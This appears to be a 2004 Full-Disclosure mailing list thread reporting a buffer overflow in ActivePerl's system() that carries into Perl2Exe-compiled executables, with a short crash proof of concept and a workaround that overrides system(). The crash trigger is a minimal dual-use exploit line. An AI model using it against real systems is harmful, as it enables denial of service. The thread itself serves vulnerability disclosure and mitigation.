RE: ActivePerl Perl2Exe [was] Buffer Overflow in ActivePerl ?

[Stephen Blass <Stephen.Blass () asu edu>]

Perl2Exe rolls the interpreter up into the exe so if the interpreter is vulnerable, then the exe will be too.  With the 
service compiler you will have the same situation in services compiled as 'standalone'; if you compile 'dependent' 
services you are at the mercy of the perl interpreter on the system you deploy the service on.

You can change the behavior of the perl 'system' in a perl script like so.

use subs qw (system);
sub system { my ($cmd)=@_; print"what, me run $cmd ? "; }
$a="A" x 256; system($a);

You can reach out from your custom system subroutine to the real thing if you'd like by calling CORE::system if you 
want to scrub arguments some more before passing them to the system.

-
Steve Blass




-----Original Message-----
From: full-disclosure-admin () lists netsys com
[mailto:full-disclosure-admin () lists netsys com]On Behalf Of Clint
Bodungen
Sent: Thursday, May 20, 2004 12:44 PM
To: morning_wood; 0day; full-disclosure () lists netsys com
Subject: Re: [Full-disclosure] ActivePerl Perl2Exe [was] Buffer Overflow
in ActivePerl ?


I haven't tested it yet but this also probably means that the msi/Microsoft
service compilor in the Activeperl Developer's Kit is as well then.


----- Original Message ----- 
From: "morning_wood" <se_cur_ity () hotmail com>
To: "0day" <0day () nothackers org>; <full-disclosure () lists netsys com>
Sent: Thursday, May 20, 2004 2:08 PM
Subject: [Full-disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
ActivePerl ?


> binaries created via perl2exe also are affected.
>
> C:\>type 1.pl
> #
> $a="A" x 256; system($a);
>
> C:\>perl2exe -v 1.pl
> Perl2Exe V7.02 Copyright (c) 1997-2003 IndigoSTAR Software
> Cmd = -v 1.pl
> CWD = C:\
> Known platforms: Win32
> Target platform = Win32 5.006001
> $I =
> $ENV{'PERL5LIB'} =
> Found perl.exe at C:\Perl\bin
> LibList = C:\Perl\lib,C:\Perl\site\lib,.
> Converting '1.pl' to 1.exe
> Compiling 1.pl
>
> C:\>1.exe
> [BIG CRASH]
>
> C:\>
>
>
>
> Donnie Werner
> http://exploitlabs.com
>
>
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